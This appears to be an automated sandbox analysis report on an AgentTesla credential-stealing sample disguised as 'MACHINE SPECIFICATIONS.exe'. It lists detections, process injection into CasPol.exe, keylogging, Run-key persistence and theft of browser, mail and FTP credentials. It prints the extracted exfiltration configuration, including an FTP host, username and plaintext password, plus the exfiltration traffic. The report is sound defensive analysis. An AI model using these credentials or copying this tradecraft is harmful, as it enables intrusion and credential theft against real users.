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Windows Analysis Report
MACHINE SPECIFICATIONS.exe

Overview

General Information

Sample Name:	MACHINE SPECIFICATIONS.exe
Analysis ID:	755960
MD5:	92945d0a2731ef771ea9d10c792e03e1
SHA1:	1eeef600b7b51ce7aa93e825be55b40f3ef8e319
SHA256:	46b61250c34b38d26ac5897217e6b70a222ff16318161c4e67c74c74491cc612
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Installs a global keyboard hook

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

.NET source code references suspicious native API functions

Machine Learning detection for sample

May check the online IP address of the machine

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Sample file is different than original file name gathered from version info

Drops PE files

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Creates a window with clipboard capturing capabilities

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

MACHINE SPECIFICATIONS.exe (PID: 6128 cmdline: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe MD5: 92945D0A2731EF771EA9D10C792E03E1)

CasPol.exe (PID: 688 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe MD5: F866FC1C2E928779C7119353C3091F0C)

newapp.exe (PID: 4272 cmdline: "C:\Users\user\AppData\Roaming\newapp\newapp.exe" MD5: F866FC1C2E928779C7119353C3091F0C)

conhost.exe (PID: 4764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

newapp.exe (PID: 676 cmdline: "C:\Users\user\AppData\Roaming\newapp\newapp.exe" MD5: F866FC1C2E928779C7119353C3091F0C)

conhost.exe (PID: 6132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "FTP Host": "ftp://ftp.electrobist.com", "Username": "user1@electrobist.com", "Password": "w&oNc9e]pf~4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x31fc8:$a13: get_DnsResolver 0x306b2:$a20: get_LastAccessed 0x329f6:$a27: set_InternalServerPort 0x32d2b:$a30: set_GuidMasterKey 0x307c4:$a33: get_Clipboard 0x307d2:$a34: get_Keyboard 0x31bae:$a35: get_ShiftKeyDown 0x31bbf:$a36: get_AltKeyDown 0x307df:$a37: get_Password 0x31303:$a38: get_PasswordHash 0x3242a:$a39: get_DefaultCredentials
0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 688	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 688	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x28778:$a13: get_DnsResolver 0x270d1:$a20: get_LastAccessed 0x29155:$a27: set_InternalServerPort 0x293bc:$a30: set_GuidMasterKey 0x271cc:$a33: get_Clipboard 0x271da:$a34: get_Keyboard 0x283fa:$a35: get_ShiftKeyDown 0x2840b:$a36: get_AltKeyDown 0x271e7:$a37: get_Password 0x27c5e:$a38: get_PasswordHash 0x28bae:$a39: get_DefaultCredentials
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.0.CasPol.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.0.CasPol.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
10.0.CasPol.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x34d04:$s10: logins 0x3477e:$s11: credential 0x309c4:$g1: get_Clipboard 0x309d2:$g2: get_Keyboard 0x309df:$g3: get_Password 0x31d9e:$g4: get_CtrlKeyDown 0x31dae:$g5: get_ShiftKeyDown 0x31dbf:$g6: get_AltKeyDown
10.0.CasPol.exe.400000.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x321c8:$a13: get_DnsResolver 0x308b2:$a20: get_LastAccessed 0x32bf6:$a27: set_InternalServerPort 0x32f2b:$a30: set_GuidMasterKey 0x309c4:$a33: get_Clipboard 0x309d2:$a34: get_Keyboard 0x31dae:$a35: get_ShiftKeyDown 0x31dbf:$a36: get_AltKeyDown 0x309df:$a37: get_Password 0x31503:$a38: get_PasswordHash 0x3262a:$a39: get_DefaultCredentials

Snort Signatures

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.2.3 - Destination IP: 51.195.62.160

Timestamp:	192.168.2.351.195.62.16049702212029927 11/29/22-11:20:12.397759
SID:	2029927
Source Port:	49702
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.3 - Destination IP: 51.195.62.160

Timestamp:	192.168.2.351.195.62.16049703522592851779 11/29/22-11:20:12.420526
SID:	2851779
Source Port:	49703
Destination Port:	52259
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: MACHINE SPECIFICATIONS.exe	Virustotal: Detection: 58%			Perma Link
Source: MACHINE SPECIFICATIONS.exe	ReversingLabs: Detection: 73%

Antivirus detection for URL or domain

Source: http://ftp.electrobist.com

Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: MACHINE SPECIFICATIONS.exe

Joe Sandbox ML: detected

Source: 10.0.CasPol.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 10.0.CasPol.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "FTP Host": "ftp://ftp.electrobist.com", "Username": "user1@electrobist.com", "Password": "w&oNc9e]pf~4"}

Source: unknown

HTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.3:49701 version: TLS 1.2

Source: MACHINE SPECIFICATIONS.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: caspol.pdbdv source: CasPol.exe, 0000000A.00000003.399059752.00000000059A9000.00000004.00000800.00020000.00000000.sdmp, newapp.exe, 0000000B.00000000.387084223.0000000000802000.00000002.00000001.01000000.00000007.sdmp, newapp.exe.10.dr
Source:	Binary string: caspol.pdb source: CasPol.exe, 0000000A.00000003.399059752.00000000059A9000.00000004.00000800.00020000.00000000.sdmp, newapp.exe, 0000000B.00000000.387084223.0000000000802000.00000002.00000001.01000000.00000007.sdmp, newapp.exe.10.dr
Source:	Binary string: C:\Users\Memm\Downloads\JesusIsTheLord\obj\Debug\Meme.pdb source: MACHINE SPECIFICATIONS.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.2.3:49702 -> 51.195.62.160:21
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49703 -> 51.195.62.160:52259

May check the online IP address of the machine

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	DNS query: name: api.ipify.org

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 51.195.62.160 51.195.62.160
Source: Joe Sandbox View	IP Address: 3.220.57.224 3.220.57.224
Source: Joe Sandbox View	IP Address: 3.220.57.224 3.220.57.224

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.3:49703 -> 51.195.62.160:52259

Source: unknown

FTP traffic detected: 51.195.62.160:21 -> 192.168.2.3:49702 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 15:20. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: CasPol.exe, 0000000A.00000003.409423403.000000000592A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.779812564.000000000592A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000003.399211019.000000000590A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 0000000A.00000002.772635350.0000000002B66000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.772655142.0000000002B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.electrobist.com
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xgrPBN.com
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgftp://ftp.electrobist.comuser1
Source: CasPol.exe, 0000000A.00000002.768390327.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.772635350.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://eyUBHCqVhczCNfHAY6U.org
Source: CasPol.exe, 0000000A.00000002.767841057.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.3:49701 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: CasPol.exe PID: 688, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown

.NET source code contains very large array initializations

Source: 10.0.CasPol.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b209BAEF0u002dB9D1u002d4EDCu002d916Au002d070C59DE070Au007d/E2113872u002d1804u002d41A9u002d8E9Fu002d0420E9801409.cs

Large array initialization: .cctor: array initializer size 11016

Source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 10.0.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0000000A.00000000.345984518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: CasPol.exe PID: 688, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_023FFC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_023F6D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DF9708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DFF2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DFBE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DFB4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DF84B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DF8408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DFD9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E90480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E92170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E9BC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E95F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E929C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E92020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E9CA68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE3D4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE372C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE5668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EEC1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EEC054
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE33E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EED3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05EE3730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E93958
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Code function: 11_2_01130958
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Code function: 13_2_00C00958

Source: MACHINE SPECIFICATIONS.exe

Static PE information: No import functions for PE file found

Source: MACHINE SPECIFICATIONS.exe

Binary or memory string: OriginalFilenameMeme.exe4 vs MACHINE SPECIFICATIONS.exe

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\newapp\newapp.exe 67F3FC243C58EEAE55BDDC22CE025B7841A89ACA2E201B999D8C0E4F07D177B8

Source: MACHINE SPECIFICATIONS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: MACHINE SPECIFICATIONS.exe	Virustotal: Detection: 58%
Source: MACHINE SPECIFICATIONS.exe	ReversingLabs: Detection: 73%

Source: MACHINE SPECIFICATIONS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\newapp\newapp.exe "C:\Users\user\AppData\Roaming\newapp\newapp.exe"
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\newapp\newapp.exe "C:\Users\user\AppData\Roaming\newapp\newapp.exe"
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MACHINE SPECIFICATIONS.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File created: C:\Users\user\AppData\Local\Temp\tmpA418.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@3/3

Source: newapp.exe.10.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: newapp.exe.10.dr, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.0.newapp.exe.800000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 11.0.newapp.exe.800000.0.unpack, Microsoft.Tools.Caspol/caspol.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\newapp\newapp.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4764:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:120:WilError_01

Source: MACHINE SPECIFICATIONS.exe, C6ean/Ough6.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.0.CasPol.exe.400000.0.unpack, A/f2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 10.0.CasPol.exe.400000.0.unpack, A/f2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: MACHINE SPECIFICATIONS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: MACHINE SPECIFICATIONS.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: MACHINE SPECIFICATIONS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: caspol.pdbdv source: CasPol.exe, 0000000A.00000003.399059752.00000000059A9000.00000004.00000800.00020000.00000000.sdmp, newapp.exe, 0000000B.00000000.387084223.0000000000802000.00000002.00000001.01000000.00000007.sdmp, newapp.exe.10.dr
Source:	Binary string: caspol.pdb source: CasPol.exe, 0000000A.00000003.399059752.00000000059A9000.00000004.00000800.00020000.00000000.sdmp, newapp.exe, 0000000B.00000000.387084223.0000000000802000.00000002.00000001.01000000.00000007.sdmp, newapp.exe.10.dr
Source:	Binary string: C:\Users\Memm\Downloads\JesusIsTheLord\obj\Debug\Meme.pdb source: MACHINE SPECIFICATIONS.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DFE6F9 pushfd ; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DF9C29 push 550241CFh; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05DF2A47 push edi; retn 0000h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E9517B push esp; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_05E9517B pushad ; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.996815914318105

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File created: C:\Users\user\AppData\Roaming\newapp\newapp.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run newapp			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run newapp			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (67).png

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

